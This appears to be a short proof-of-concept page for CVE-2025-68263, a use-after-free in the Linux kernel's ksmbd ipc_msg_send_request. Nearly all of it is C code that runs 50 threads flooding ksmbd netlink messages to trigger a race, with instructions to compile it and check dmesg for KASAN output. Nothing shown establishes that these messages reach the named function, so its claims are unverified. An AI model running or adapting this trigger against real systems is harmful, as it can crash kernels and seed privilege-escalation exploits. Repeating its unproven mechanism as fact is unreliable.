CVE-2025-68263: Linux内核ksmbd ipc_msg_send_request函数use-after-free漏洞

// CVE-2025-68263 PoC - ksmbd use-after-free trigger // This PoC demonstrates the race condition in ipc_msg_send_request // Compile: gcc -o poc poc.c -lnl-3 -lnl-genl-3 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netlink/netlink.h> #include <netlink/genl/genl.h> #include <netlink/genl/ctrl.h> #include <pthread.h> #define MAX_THREADS 50 #define ITERATIONS 1000 volatile int trigger_race = 0; void *race_trigger_thread(void *arg) { struct nl_sock *sock; int family_id; sock = nl_socket_alloc(); if (!sock) return NULL; if (genl_connect(sock) < 0) { nl_socket_free(sock); return NULL; } family_id = genl_lookup_family(sock, "ksmbd"); if (family_id < 0) { nl_socket_free(sock); return NULL; } // Rapid-fire requests to trigger race condition for (int i = 0; i < ITERATIONS && trigger_race; i++) { struct nl_msg *msg = nlmsg_alloc(); if (!msg) continue; genlmsg_put(msg, NL_AUTO_PID, NL_AUTO_SEQ, family_id, 0, 0, 42, 1); nl_send_auto(sock, msg); nlmsg_free(msg); // Minimal delay to increase race window usleep(1); } nl_socket_free(sock); return NULL; } int main(int argc, char *argv[]) { pthread_t threads[MAX_THREADS]; printf("[*] CVE-2025-68263 ksmbd UAF PoC\n"); printf("[*] Target: Linux kernel ksmbd ipc_msg_send_request\n"); printf("[*] Starting race condition triggers...\n"); trigger_race = 1; // Launch multiple threads to create high concurrency for (int i = 0; i < MAX_THREADS; i++) { pthread_create(&threads[i], NULL, race_trigger_thread, NULL); } // Let threads run for a period sleep(10); trigger_race = 0; // Wait for threads to complete for (int i = 0; i < MAX_THREADS; i++) { pthread_join(threads[i], NULL); } printf("[*] Test completed. Check dmesg for KASAN output.\n"); return 0; }